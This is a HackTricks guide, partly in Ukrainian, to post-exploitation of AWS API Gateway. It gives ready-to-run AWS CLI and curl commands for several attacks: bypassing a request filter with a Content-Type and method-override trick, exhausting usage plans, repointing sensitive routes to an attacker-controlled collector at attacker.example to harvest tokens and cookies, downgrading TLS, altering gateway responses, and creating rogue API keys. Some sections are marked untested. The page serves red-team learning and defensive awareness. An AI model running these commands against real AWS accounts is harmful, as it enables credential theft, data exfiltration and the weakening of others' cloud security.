AWS - API Gateway Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

API Gateway

Детальніше дивись:

AWS - API Gateway Enum

Доступ до непублічних API

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.

Bypass Request body passthrough

This technique was found in this CTF writeup.

Як вказано в AWS documentation у розділі PassthroughBehavior, за замовчуванням значення WHEN_NO_MATCH, при перевірці заголовка Content-Type запиту, передає запит на бекенд без трансформації.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Однак, відправлення запиту з Content-type: text/json обходило цей фільтр.

Нарешті, оскільки API Gateway дозволяв лише Get та Options, стало можливим надіслати довільний dynamoDB запит без жодних обмежень, відправивши POST запит з query у тілі та використавши заголовок X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

У розділі Enumeration показано, як отримати usage plan ключів. Якщо у вас є ключ і він обмежений до X використань на місяць, ви можете просто ним користуватися і спричинити DoS.

The API Key достатньо включити в HTTP header під назвою x-api-key.

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

Якщо ви можете оновити HTTP API integration, ви можете repoint чутливий маршрут (наприклад, /login, /token, /submit) на HTTP endpoint під контролем атакуючого і непомітно collect headers and bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets, що надсилаються внутрішніми процесами тощо).

Приклад робочого процесу:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

Примітки:

  • Для HTTP APIs, зміни зазвичай набирають чинності негайно (на відміну від REST APIs, де зазвичай потрібно створити розгортання).
  • Чи можна вказати довільний URL залежить від типу інтеграції/конфігурації; у деяких випадках ви також можете змінити тип інтеграції під час patching.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Зловмисник із дозволами apigateway:UpdateGatewayResponse та apigateway:CreateDeployment може модифікувати існуючий Gateway Response, щоб додати custom headers або response templates, які leak конфіденційну інформацію або виконують зловмисні скрипти.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Leakage of sensitive information, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.

Note

Потрібне тестування

apigateway:UpdateStage, apigateway:CreateDeployment

Зловмисник з дозволами apigateway:UpdateStage та apigateway:CreateDeployment може змінити існуючий stage API Gateway, щоб перенаправити трафік на інший stage або змінити налаштування кешування, щоб отримати несанкціонований доступ до кешованих даних.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Несанкціонований доступ до кешованих даних, порушення або перехоплення трафіку API.

Note

Потрібне тестування

apigateway:PutMethodResponse, apigateway:CreateDeployment

Зловмисник із дозволами apigateway:PutMethodResponse та apigateway:CreateDeployment може змінити method response існуючого API Gateway REST API методу, додавши custom headers або response templates, які leak конфіденційні дані або виконують шкідливі скрипти.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Можливий вплив: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.

Note

Потрібне тестування

apigateway:UpdateRestApi, apigateway:CreateDeployment

Зловмисник, який має дозволи apigateway:UpdateRestApi та apigateway:CreateDeployment, може змінити налаштування API Gateway REST API, щоб вимкнути логування або змінити мінімальну версію TLS, що потенційно послаблює безпеку API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Ослаблення безпеки API, що може дозволити несанкціонований доступ або розкриття конфіденційної інформації.

Note

Потрібне тестування

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Зловмисник з дозволами apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, and apigateway:CreateUsagePlanKey може створювати нові API-ключі, пов’язувати їх із планами використання та потім використовувати ці ключі для несанкціонованого доступу до API.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Потенційний вплив: Несанкціонований доступ до ресурсів API, обходження механізмів безпеки.

Note

Потребує тестування

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks